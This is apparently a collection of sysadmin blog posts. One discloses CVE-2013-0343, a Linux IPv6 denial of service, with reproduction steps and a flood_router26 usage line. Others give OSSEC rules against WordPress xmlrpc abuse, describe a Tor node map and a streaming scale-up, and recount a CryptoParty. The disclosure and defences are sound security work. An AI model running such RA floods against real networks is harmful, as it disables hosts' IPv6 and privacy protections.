
C. tcpdump querying for a DNSSEC signed domain over 3G. One query without asking for DNSSEC and another one asking for DNSSEC, all queries go to DNS Server 8.8.8.8. All queries arrived back. The tcpdump was created on my computer using the PPP interface.
vf_ripe_google_dns.pcap

Linux kernel handling of IPv6 temporary addresses – CVE-2013-0343

I reported this bug on November 2012 but as of February 2013 it still hasn’t been fixed.

My initial report on oss-security and kernel netdev mailing lists reported it as an ‘information disclosure’ problem but then I found out that the issue is more severe and it can lead to the complete corruption of Linux kernel’s IPv6 stack until reboot. My second report wasn’t public, I thought it would be better not to make any public disclosure until the kernel people had enough time to respond, and was only sent to a number of kernel developers but I’m making it public now since the CVE is already out.

If someone wants to read all the publicly exchanged emails the best resource is probably this: http://marc.info/?t=135291265200001&r=1&w=2

Here’s the initial description of the problem:

Due to the way the Linux kernel handles the creation of IPv6 temporary addresses a malicious LAN user can remotely disable them altogether which may lead to privacy violations and information disclosure.

By default the Linux kernel uses the ‘ipv6.max_addresses’ option to specify how many IPv6 addresses an interface may have. The ‘ipv6.regen_max_retry’ option specifies how many times the kernel will try to create a new address.

Currently, in net/ipv6/addrconf.c,lines 898-910, there is no distinction between the events of reaching max_addresses for an interface and failing to generate a new address. Upon reaching any of the above conditions the following error is emitted by the kernel times ‘regen_max_retry’ (default value 3):

[183.793393] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793405] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793411] ipv6_create_tempaddr(): retry temporary address regeneration

After ‘regen_max_retry’ is reached the kernel completely disables temporary address generation for that interface.

[183.793413] ipv6_create_tempaddr(): regeneration time exceeded - disabled temporary address support

RFC4941 3.3.7 specifies that disabling temp_addresses MUST happen upon failure to create non-unique addresses which is not the above case. Addresses would have been created if the kernel had a higher
‘ipv6.max_addresses’ limit.

A malicious LAN user can send a limited amount of RA prefixes and thus disable IPv6 temporary address creation for any Linux host. Recent distributions which enable the IPv6 Privacy extensions by default, like Ubuntu 12.04 and 12.10, are vulnerable to such attacks.

Due to the kernel’s default values for valid (604800) and preferred (86400) lifetimes, this scenario may even occur under normal usage when a Router sends both a public and a ULA prefix, which is not an uncommon
scenario for IPv6. 16 addresses are not enough with the current default timers when more than 1 prefix is advertised.

The kernel should at least differentiate between the two cases of reaching max_addresses and being unable to create new addresses, due to DAD conflicts for example.

And here’s the second, more severe report about the corruption of the IPv6 stack:

I had previously informed this list about the issue of the linux kernel losing IPv6 privacy extensions by a local LAN attacker. Recently I’ve found that there’s actually another, more serious in my
opinion, issue that follows the previous one. If the user tries to disconnect/reconnect the network device/connection for whatever reason (e.g. thinking he might gain back privacy extensions), then the device gets IPs from SLAAC that have the “tentative” flag and never loses that. That means that IPv6 functionality for that device is from then on completely lost. I haven’t been able to bring back the kernel to a working IPv6 state without a reboot.

This is definitely a DoS situation and it needs fixing.

Here are the steps to reproduce:


== Step 1. Boot Ubuntu 12.10 (kernel 3.5.0-17-generic) ==
ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link 
       valid_lft forever preferred_lft forever

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = 2
net.ipv6.conf.lo.use_tempaddr = 2

ubuntu@ubuntu:~$ nmcli con status
NAME                      UUID                                   DEVICES    DEFAULT  VPN   MASTER-PATH
Wired connection 1        923e6729-74a7-4389-9dbd-43ed7db3d1b8   eth0       yes      no    --
ubuntu@ubuntu:~$ nmcli dev status
DEVICE     TYPE              STATE
eth0       802-3-ethernet    connected

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=70.9 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 70.994/70.994/70.994/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:57:37.784658 IP6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:57:37.855257 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:ad1f:9166:93d4:fd6d: ICMP6, echo reply, seq 1, length 64

== Step 2. flood RAs on the LAN ==

$ dmesg | tail
[ 1093.642053] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642062] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642065] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642067] IPv6: ipv6_create_tempaddr: regeneration time exceeded - disabled temporary address support

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = -1
net.ipv6.conf.lo.use_tempaddr = 2

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=77.5 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.568/77.568/77.568/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:59:38.204173 IP6 2001:db8:f00:f00:5054:ff:fe8b:995d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:59:38.281437 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:5054:ff:fe8b:995d: ICMP6, echo reply, seq 1, length 64

//notice the change of IPv6 address to the one not using privacy extensions even after the flooding has finished long ago.

== Step 3. Disconnect/Reconnect connection  ==
// restoring net.ipv6.conf.eth0.use_tempaddr to value '2' makes no difference at all for the rest of the process

# nmcli dev disconnect iface eth0
# nmcli con up uuid 923e6729-74a7-4389-9dbd-43ed7db3d1b8

ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link tentative 
       valid_lft forever preferred_lft forever

//Notice the "tentative" flag of the IPs on the device

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
^C
--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
18:01:45.264194 IP6 ::1 > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64

Summary:
Before flooding it uses IP: 2001:db8:f00:f00:ad1f:9166:93d4:fd6d
After flooding it uses IP: 2001:db8:f00:f00:5054:ff:fe8b:995d –> it has lost privacy extensions
After disconnect/reconnect it tries to use IP: ::1 –> it has lost IPv6 connectivity

The problem currently affects all Linux kernels (including the latest 3.8), that have IPv6 Privacy Extensions enabled. The only distribution that has IPv6 Privacy Extensions enabled by default is Ubuntu starting from version 12.04. So Ubuntu 12.04 and 12.10 are currently vulnerable to this attack and can have their IPv6 stack corrupted/disabled by a remote attacker in an untrusted network.

Kernel developers and people from RedHat Security Team are trying to fix the issue which in my opinion involves changing parts of the logic of IPv6 addressing algorithms in the Linux kernel.

No mitigation currently exists apart from disabling IPv6 Privacy Extensions.

You can play with this bug using flood_router26 tool from THC-IPv6 toolkit v2.1.
Usage: # ./flood_router26 -A iface

P.S. I can’t tell if the stack corruption could also lead to other kernel problems, that would probably need some professional security researchers to look into it.

mitigating wordpress xmlrpc attack using ossec

I’ve created some local rules for ossec to mitigate some of the effects of the wordpress xmlrpc attack presented here: WordPress Pingback Portscanner – Metasploit Module.

They seem to work for me, use at your own risk of getting flooded with tons of alerts. Obviously you need to set the alert level of the second rule to something that will trigger your active-response. Feel free to tweak the alert level, frequency and timeframe. Before you change frequency to something else please read the following thread though: setting ossec frequency level


   <rule id="100167" level="1">
    <if_sid>31108</if_sid>
    <url>xmlrpc.php</url>
    <match>POST</match>
    <description>WordPress xmlrpc attempt.</description>
  </rule>

  <rule id="100168" level="10" frequency="2" timeframe="600">
    <if_matched_sid>100167</if_matched_sid>
    <same_source_ip />
    <description>WordPress xmlrpc attack.</description>
    <group>attack,</group>
   </rule>

btw, if you don’t want xmlrpc.php accessible at all, you can block it through a simple mod_rewrite rule:


<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/PATH/TO/xmlrpc.php [NC]
RewriteRule ^(.*)$ - [F,L]

or you can try any of the other numerous ways to accomplish the same thing as presented here.

You’ll lose pingback functionality though…oh well.

World city map of Tor nodes

Some months ago I started playing with the idea of creating a world map that would have every Tor node on it. Obviously I wan’t the first one…I soon discovered Moritz Bartl’s post on the same topic. Luckilly he had his code posted on Github so I could fork it and add features that I wanted. The original python script parsed the consensus and the misrodescriptors, put Tor nodes into some classes and created a KML file with some description on each node.

Some differences
I changed some parts of the python script to better suit my needs.
a. Create a separate kml files for each Tor node class.
b. Add new classes: Bad, Authority and Named.
c. Pay more attention on requesting every external URL over HTTPS.
d. Generate HTML code that displays those KMLs on a Google Maps overlay.
e. Add some small randomization to each nodes’s coordinates so that nodes in the same city don’t overlap.

You can find a complete changelog at kargig/tormap GitHub repo.

And here’s the outcome: World city map of Tor nodes at https://tormap.void.gr/
One of my main goals was to have selectable classes of nodes that will appear on the map.

To produce the map overlay, a cron script runs every hour, which is also the period it takes for Tor Authority nodes to produce a new consensus, and creates some static files which are then served by nginx.

I’m not a web developer/designer and I don’t really know any javascript. So please, feel free to fork my code and make it look better, run faster and add your own features. I’ll happily accept patches/pull requests!

Extras
On kargig/tormap repo you will also find a handy script, ‘runme.sh’, that downloads all necessary files that need to be parsed by the python script.

Missplaced nodes on the map
Well, blame MaxMind’s GeoIP City database for that. But I think it’s kinda funny to see Tor nodes in Siberia and in the middle of the sea though (look at the West coast of Africa), heh. For those wondering, these nodes are gathered there because their geoip Lat,Long is set to 0,0.
Really though, what’s “Ben’s Cat Shaque” diplayed there next to all those nodes in the west coast of Africa? Anyone has some clue ?

Conspriracy people
I’m sure that people who love conspriracy theories will start posting about those ‘Bad’ Tor nodes in Iran and Syria. Why do you think these are there ? What does it mean ? Let the flames begin!

Future TODO
a. OpenStreetMap
I have started working on an OpenStreetMap implementation of the above using OpenLayers. The biggest hurdle is that OSM does not provide a server that serves map tiles over HTTPS. Makes me wonder…is that actually so difficult ?
b. More stats
I would like to add small graphs on how the number of nodes in each class evolves.

Other Tor mapping efforts
https://b.kentbackman.com/2010/10/04/view-tor-exit-nodes-in-google-earth/
http://freehaven.net/~ioerror/maps/v3-tormap.html

Don’t forget, you can always help Tor by running a node/bridge or sending some money to Tor or EFF!

Scaling a small streaming system from 50 to 4000+ users

This post was originally written on 09/11/2012 but for various reasons it couldn’t be published earlier. It won’t be very technical, it’s mostly a behind the scenes view of how some of us at NOC GRNET tried to cope with an extreme spike of demands of a specific service we support.

Intro
At GRNET we provide a live streaming service to the Hellenic Parliament, who also connect to the Internet through our network. What we’re doing is that we’re serving the official TV channel of the Hellenic Parliament (the WebTV program actually). We have a machine that encodes (transcodes actually) video/audio and a separate streamer that serves the content to the clients via RTSP, RTMP and HTTP. While this service has been running for quite some time, and the streaming server has been used in various other occasions, it typically serves no more than 100 concurrent clients. With a stream at 640Kbps on average that’s abound 60Mbps of streaming traffic. The number of viewers usually goes up only when there’s something exciting going on. Our previous traffic spike was at 577Mbps on October 31st, when the Minister of Finance was presenting the budget for 2013 to the Parliament. What happened that day was that news reporters were on strike and it seems that one of the few news sources available at the time for people to use was the Parliament channel, either on the TV or through our stream. The viewership that day surpassed all previous expectations but the streaming system actually performed quite well considering we didn’t have any complaints.

Remember, remember the 7th of November
On the 7th of November almost everyone was on strike in Greece. There was a huge march arranged at 17:00 outside of the Greek Parliament to protest against the new harsh measures of Memorandum III that the parliament was to vote for at midnight.

We started seeing some traffic arriving, well leaving is more accurate, our streaming server at around 10:00 in the morning. Some news sites and blogs (tanea.gr, left.gr, protothema.gr) had already started posting links to our parliament’s streaming service for people to watch the discussion that was already taking place. At around 10:30 we were already serving more than 100Mbps while the traffic was steadily rising. A bit after 12:00 though things got really nasty. Websites like tovima.gr, zougla.gr and newsit.gr had posted our streaming links in their very first page. The discussions both inside the parliament and on the social networks had also started heating up. At 12:25 the traffic starting ramping up extremely fast!

12:25 160Mbps
12:32 367Mbps
12:38 597Mbps
12:42 756Mbps
12:49 779Mbps

That’s when traffic stopped growing any more. We actually saw some drop in the traffic and then up to 780Mbps and down again. It was obvious that we had reached some limit. It wasn’t very obvious though what the bottleneck was since the streaming system load was quite low, around 0.6-1.0 in a 4 vCPU VM and it also had a virtio-net/gigabit[1] network card. Theoretically it should be able to push at least 100-150 more Mbps. In order to cope with the increasing demand we changed the player web page in order to off-load some users to an experimental service that relies on IP multicast from the server and P2P between the clients for delivering streams. This bought us some time, about 2-3 hours. Also maybe because it was noon time, or due to more people using the experimental service or not being satisfied from the performance of the streaming video and disconnecting, traffic later on dropped “down” to an average of 650-700Mbits.

We started discussing short-term actions for improving the service so as to be able to cope with more demand. The streaming server was running on GRNET’s virtualization platform, which is based on ganeti, and the first thought we had was to try and add more network cards to the VM and somehow bond the cards together. Could we push more than 1Gbps from the same VM? The problem was that we couldn’t do any 802.3ad bonding since the “virtual switch” inside the virtualization platform did not support such features. One other solution would be to add another virtual network card and use Linux bonding mode 5 (balance-tlb) or 6 (balance-alb). After a bit of reading this mode was rejected as well. These two bonding modes expect from the ethernet card running on the machine to support ethtool to read their speed. Our VMs use virtio-net which doesn’t support this functionality for ethtool. We could switch to another type of network card, e1000 for example, but this could have an unmeasured/untested performance penalty which could actually negate the addition of a second network card.

Hundreds of thousands of Greeks were planning to join this huge protest starting at 17:00 and so were some of us working at GRNET, at least I was. We had to make a decision though, drop our plans and improve the streaming service to help more people, especially Greeks living abroad, to access the stream or just join others at Syntagma square? Our shift was ending soon anyway. We decided to stay at work and try and improve the service as far as we could.

The path we chose in order to “scale” was to create to a second instance of the streamer and try to “balance” client requests to both streamers using round robin DNS. That involved creating a checkpoint of the running VM at our storage system, copy the running VM’s image from that checkpoint as a new image and run a new VM with that image. So we would be cloning the current streaming service while the service was running and serving clients (take that Windows!).

So we provisioned a new Debian server through LDAP, added the copied image disks at the VM’s configuration, booted the VM, run puppet to change the configuration files according to the new hostname and IP, and we were ready to serve more clients. After some testing we created a RR DNS entry, “streamer-frontend.domain.gr” which pointed to both first-streamer.domain.gr and second-streamer.domain.gr and had a TTL of 60. Changing the landing page though to serve streamer-frontend.domain.gr as the streamer url wasn’t enough. The first problem was that there were news sites and blogs that had copied directly our first streamer’s URL instead of the live.grnet.gr/paliament/ landing page, which actually runs on a different system and is served by an Apache2 server (more on that later). Having already more than 1000 streams on the first streamer and then starting to do RR DNS on both servers meant that there would still be a large number of clients served by the first server and new people getting directed there would only make matters worse, while people directed to the second server would have a much better service experience. So what we actually did was point streamer-frontend.domain.gr not on both first-streamer.domain.gr and second-streamer.domain.gr but just second-streamer.domain.gr. We also changed the IP address of first-streamer A,AAAA records to second-streamer’s IP and flushed the first-streamer RR at our caching resolvers. Since many people use our caching resolvers, especially students with DSL lines, we were able to direct even more people towards the second-streamer.

Before adding second-streamer.domain.gr:

* first-streamer.domain.gr -> 1.2.3.4 TTL 86400
* live.grnet.gr/parliament/ pointing the streamer URL at first-streamer.domain.gr

After adding second-streamer.domain.gr:

* streamer-frontend.domain.gr -> 1.2.3.5 TTL 60
* first-streamer.domain.gr -> 1.2.3.5 TTL 60
* second-streamer.domain.gr -> 1.2.3.5 TTL 60
* live.grnet.gr/parliament/ pointing the streamer URL at streamer-frontend.domain.gr

That way people disconnecting from the stream and reconnecting some time later on were pointed to the new server, if they used our landing page. That meant better quality streaming for both “old” clients getting their stream from first-streamer, and for the new clients that were being served from second-streamer.

Within 30 minutes since booting up, the second streamer was serving more than 250Mbps and after another 30′ its traffic had climbed up to 450Mbps while first-streamer was steadily serving more than 550Mbits. That lead us to an all time record of 1.02Gbps at 17:45. At that point we were serving more than 2000 concurrent streams. A number we never expected for this humble streaming service.

While traffic was increasing through the addition of the second streamer, another problem came up. Some misconfigured clients and HTTP proxies were opening up connections at the Apache 2 serving the web page and never closed them down. We hit Apache’s internal ServerLimit variable of 256 around 17:00. We had to increase ServerLimit inside Apache’s config and restart it:

ServerLimit 500
<IfModule mpm_prefork_module>
    StartServers         10 
    MinSpareServers      15 
    MaxSpareServers      25 
    MaxClients          500
    MaxRequestsPerChild   0  
</IfModule>

After some minutes of happiness another “unexpected” issue came up. It started to rain in Athens, so people who were at the protest at Syntagma square would probably leave soon and go home. There would certainly be an increase in traffic. And what about midnight, which is when the MPs were supposed to vote on the new measures? People would be sitting at their computers, bashing the politicians on Twitter and Facebook while watching the Parliament’s stream. At the same time we started seeing a big increase in international traffic, since more Greeks living abroad were tuning in; this stream was probably the only way they could watch what was happening at the Parliament.

That only meant one thing. Hello third-streamer! 10′ later we had another streamer running. But we also wanted to make some changes to the first two VMs. We wanted to add more vCPUs, going from 4 to 8, add more RAM, going from 4096Mb to 6144Mb, and do some minor performance tuning on the software. That meant restarting the VMs in order to activate the additional resources… luckily the chairman of the Parliament announced a 10 minute recess some time around 19:30. That was our chance… we changed back first-streamer’s IP address, added it to streamer-frontend RR DNS while also adding third-streamer to it. Then we rebooted the first two VMs. After 30″ we had 3 streamers running and waiting for clients to join them. third-streamer instantly got more than 200Mbps at the very moment we rebooted the other 2 VMs.

After adding third-streamer.domain.gr:

* streamer-frontend.domain.gr -> {1.2.3.4 | 1.2.3.5 | 1.2.3.6} TTL 60
* first-streamer.domain.gr -> 1.2.3.4 TTL 60
* second-streamer.domain.gr -> 1.2.3.5 TTL 60
* third-streamer.domain.gr -> 1.2.3.6 TTL 60
* live.grnet.gr/parliament/ pointing the streamer URL at streamer-frontend.domain.gr

At 20:10, some of us decided to leave work after 11 hours, having 3 streamers running that had already reached 1.2Gbps of traffic. There were more than 2800 concurrent users at the time…

Our assumptions for midnight came true. Around that time, more than 4000 people had tuned in to the parliament’s stream and we were pushing about 1.66 Gbps. That was probably the all-time record for a single service in GRNET.

A big problem we didn’t solve that night
Unfortunately, each client gets a unique session id from the streamer, also when requesting an HTTP stream. These are not shared among the streamers, so if you send a subsequent HTTP request to a different streamer, who does not track that session id, it will not serve the request as expected but rather prompt the client to start a new session. Since some browsers did not cache the RRs of streamer-frontend long enough (remember that low TTL?) they would spread their requests to all the streamers. We knew this was happening but there was no way to solve this without extensive changes to the setup, which would have to be tested of course would mean significant downtime for the service. Therefore, depending on the browser people used, some got better or worse service than others. The good thing is that we know how to fix this in the future.

Some Stats & Graphs
more than 31000 unique IPs connecting to the streaming service
more than 4000 concurrent users at peak time
more than 4.7 TB of data streamed

first-streamer ethernet traffic:

second-streamer ethernet traffic:

third-streamer ethernet traffic:

Streamer client types

Streamer LAN traffic aggregates:

Create your own graphs here: http://mon.grnet.gr/rg/157184/details/

Epilogue
Yeah, there were hiccups in the stream for many many people, we acknowledge that. But we certainly did the best we could to keep the service running. Could we have done better ? Yes we could, but we would have to re-design the service and make some drastic changes that were never tested before. We didn’t want to risk making drastic changes that might not work at all while we could somewhat “scale” our service using a “working” solution. I wonder what will happen on Sunday when the Parliament votes for 2013 budget…Will we exceed our previous peak? We’ve already discussed alternatives to cope with the extra traffic and we’ll definitely be better prepared [2]!

I think that zmousm, alexandros and me did a fairly good job regarding the circumstances. We should buy each other a beer sometime..We’ll treat faidonl another one though for his helpful consulting :)

Since no external CDNs or other services provided by companies abroad were used, this might be the event with the biggest ever demand in network resources served from within Greece.

Do you like solving such problems ? Then there might be a lurking sysadmin inside you ;)

[1] After a talk with apoikos, he corrected me saying that virtio-net does not have a “gigabit” capacity. Virtio-net’s capacity is only limited by the node resources available, so it can theoretically perform better than gigabit. So our thoughts on using balance-alb/tlb to cope with the extra bandwidth were wrong. This clue points out that the cause of bottleneck on the streamer that couldn’t go over 800Mbps was the streamer software itself since both VM’s and hardware node’s system load were low.

[2] On 11/11/2012 the Greek Parliament voted for 2013 budget. What we did prior to that day to cope with the traffic was to setup a new version of the streamer software, that actually came out on 08/11/2012 just one day after the initial spike, that had the option to disable session IDs. Then it was quite straightforward to add some varnish caches in front of the streamers to serve the HTTP streams to the clients. Unfortunately client demand was somewhat lower, it only reached 0.92Gbps.

Review of the first Athens CryptoParty

On Sunday the 11th of November we finally had our first CryptoParty in Athens, Greece. We hosted it at the Athens Hackerspace.

Organizing
We organized our first CryptoParty in a very ad-hoc way. A pad was set up and advertised on Twitter/Facebook. Almost immediately people started writing their thoughts, views and interests there. We soon had a list of topics that people were interested in and another list of people willing to give presentations/workshops. Later on we set up a doodle so people would choose the most convenient dates for them. From the group of 50 people that originally expressed their interest to attend the CryptoParty, at least 20 voted on the doodle. That’s how the final date of November the 11th was chosen.

It was surprising/refreshing that even though everything was organized through an anonymously editable pad, nobody tried to vandalize it.

The actual event
Through the pad, we chose 3 topics for the first meeting. “Using SSL/TLS for your Internet communications”, an “introduction to Tor” and another “introduction to I2P”.
The time for the event was set for 12:00 in the morning, probably a very bad choice. The next one should definitely be later in the afternoon or even night. We learn by our mistakes though…People started showing up at around 11:30, but the event didn’t start until 12:30 when someone from hackerspace.gr gave a 5′ intro talk about what the hackerspace is to people who had never been there before. People kept coming even until 13:00 and the audience had grown to more than 30 people.
After the three workshops/presentations around 10-15 people stayed and we ordered pizza.

All in all I’d say it was fairly successful since more than 30 people came and actually did things to improve their security.

The presentations/workshops
Using SSL/TLS for your Internet communications” (in English) was my effort to show people how cleartext data travels through the Internet and how any intermediate “bad guy”/LEA can easily read or manipulate your data. People were instructed to install wireshark so they could actually see for themselves what the actual problem is. It was very “nice” to see their surprise upon watching cleartext packets flowing through their network cards. It was even nicer to see their surprise when I used tcpdump on hackerspace’s router to redirect traffic to wireshark running on a Debian laptop to display their data, without having “direct” access to their computer. Then people were introduced to the idea of Transport Layer Security (SSL/TLS), and how HTTPS protects their web data from prying eyes. After this tiny “privacy apocalypse” it was very easy to convince users to install HTTPS-Everywhere. And so they did. Afterwards they got instructions on how they should change SSL/TLS settings for their E-email and IM clients.
My original intention was to “scare” people a bit. It was funny to see their faces when they logged in to yahoo mail and they could see their emails cleartext on wireshark. People don’t understand how data travels through the Internet unless they experience it for themselves. I’m glad that people who had absolutely no idea about HTTPS are now using HTTPS-Everywhere to protect themselves. Hopefully they’ll show that to their friends as well.

Introduction to Tor” (in Greek) gave people an idea at what anonymity is, how it differs from security and how users should be combining both TLS and Tor usage for security and anonymity at the same time. A brief explanation of what hidden services are was given as well. Even though George asked people to download and install Tor Browser Bundle and use it, we’ll definitely need more “hands on” Tor workshops in the future. It will be interesting to convince more people to actually use it and why not, even set up their own hidden services.

Invisible Internet Project a.k.a. I2P” (in English) by @alafroiskiotos was probably the hardest of the three presentations to keep up for people that had no previous idea about anonymity networks. It’s unique architecture and some difficulties in it’s usage raised a lot of interesting questions by attendees.

Thoughts on future CryptoParties
After the end of the workshops/presentations we had a lengthy discussion with the attendees as to what they would like to see/experience in the future CryptoParties. Unfortunately people were not very vocal. Very few participated and openly expressed their thoughts/opinions. A great part of the discussion was spent trying to figure out whom should CryptoParty presentations/workshops target at, users? developers? geeks? It’s obviously very hard to target all groups of people at the same time.

So here are my thoughts on what future CryptoParties should be. CryptoParties should be about changing user habits, they should be closer to workshops than presentations. They should be focused mainly on users not developers nor computer science students. Just simple users. People don’t want theoretical talks about cryptography, they need advice they can use in their daily lives. It’s already very hard to talk about modern crypto to people who haven’t got a strong mathematical background, you have to oversimplify things. Oversimplifying things then makes geeks/nerds unhappy and still doesn’t “teach” people about proper crypto. Even a fairly “simple” HTTPS negotiation contains key crypto concepts that are very difficult for a “crypto-newbie” to grasp. So it’s a lose-lose situation.

We need to teach, or better convince, users on using good, secure, audited tools and not just tell them about technologies and concepts. We, weirdos, might like that, but most users don’t. People need our help to learn how to avoid “fancy” tools and false security prophets. We need to show them how security should be applied in a layered approach. Getting people to care about their own privacy is key to the success of CryptoParties in the way I see them. To achieve that, we, people that know a few things more than the average Joe, should all become volunteers to such efforts. We should be joining CryptoParties in order to help others and not in order to improve ourselves and our knowledge. (Actually when you study in order to make a good workshop/presentation you improve your own knowledge as well, but let’s leave that beside for now.) We can have our separate geeky/nerdy events to present fancy tech and cool crypto stuff, but let’s keep CryptoParties simple and practical. Oh and we’ll need to repeat things again and again and again. That’s the only way people might change their habits.

If you want to find out more about the next Athens CryptoParty keep an eye at Hackerspace’s events and the athens cryptoparty pad. Join us!

Good luck to all the CryptoParties worldwide!

When in doubt, always blame the application

When you have a misbehaving system and you are not sure what the problem is, always bet on a poorly written application.

Here’s a small example of how another poorly written web application caused system issues.

I was sitting at my office today I when I got this nagios alert for a host.

Date/Time: Tue Nov 6 19:15:11 EET 2012
Additional Info:
SWAP CRITICAL – 0% free (0 MB out of 509 MB)

Logging in actually showed all the swap’s been used and so was RAM, 0.95/1Gb. Lots of apache2 server instances were running. I did a netstat and I saw a lot of ESTABLISHED connections:

tcp6       0      0 2001:DB8:f00::1:35571 2001:DB8:bar::100:80 ESTABLISHED 9631/apache2    
tcp6       0      0 2001:DB8:f00::1:35777 2001:DB8:bar::100:80 ESTABLISHED 9656/apache2    
tcp6       0      0 2001:DB8:f00::1:36531 2001:DB8:bar::100:80 ESTABLISHED 11578/apache2   
tcp6       0      0 2001:DB8:f00::1:36481 2001:DB8:bar::100:80 ESTABLISHED 11158/apache2   
tcp6       0      0 2001:DB8:f00::1:36295 2001:DB8:bar::100:80 ESTABLISHED 11115/apache2   
tcp6       0      0 2001:DB8:f00::1:34831 2001:DB8:bar::100:80 ESTABLISHED 8312/apache2  

2001:DB8:f00::1 -> my server
2001:DB8:bar::100 -> dst server

As one can easily see my server is connecting to port 80 of dst, possibly asking for something over HTTP.

# netstat -antpW | grep 2001:DB8:bar::100 | wc -l
111

# dig -x 2001:DB8:bar::100 +short                                 
crl.randomcertauthority.com.

tailing the log files didn’t show anything weird happening. I run a tcpdump for that dst server but there wasn’t at that time any traffic going on.

So, I took a look at munin to see when this problem started developing.



As it’s obvious from the above graphs, the problem started around 14:00. So I took another look at the apache logs and I saw a bot crawling a specific url from my server. I visited that url on my server using curl and I saw traffic flowing through tcpdump going from my server to dst server. So visiting that URL was definitely causing problems. But why?

I restarted apache, swap and memory were released, all the stale ESTABLISHED connections went away and I saw hundreds of FIN/RST packets going back and forth at tcpdump.

I tried to open a few concurrent connections from my PC to my server’s url using curl. After a couple of tries netstat showed that I had managed to create stale ESTABLISHED connections towards dst server. It was an HTTP connection asking for a crl. So I was both able to reproduce the problem and I also knew the specific url of the dst server that caused the connection hanging issues.
Next thing I did was to try to open direct HTTP connections from my server to the dst url using curl. After a few concurrent connections I managed to make curl hang. So the problem was definitely not on my server, but at the dst server.

Since it was already quite late, my first (re)action was to install mod_evasive to try and minimize the problem so I could take a better look the next day.

# aptitude install libapache2-mod-evasive
# a2enmod mod_evasive
### edit /etc/apache2/sites-enabled/site-name and add the following
       <IfModule mod_evasive20.c>
            DOSHashTableSize    3097
            DOSPageCount        1   
            DOSSiteCount        50  
            DOSPageInterval     1   
            DOSSiteInterval     1   
            DOSBlockingPeriod   10  
            DOSEmailNotify myemail@mydomain.gr
        </IfModule>
# /etc/init.d/apache2 reload

I tried to curl my server’s URL from my PC and I got blocked after the second concurrent try. But after some repetitions I was still able to create one or two stale ESTABLISHED connections from my server to the dst server. Far fewer than before but the problem was still somewhat reproducible.

Then I decided to take a look at the site’s PHP code. Finding the culprit was quite easy, I just had to find the code segment where PHP requested the dst server’s url.
Here’s the code segment:

$ch = curl_init($this->crl_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$crl_content = curl_exec($ch);

The developer had never thought that the remove server might keep the connection open for whatever reason (rate limiting anyone?)

Patching it was quite simple:

$ch = curl_init($this->crl_url);
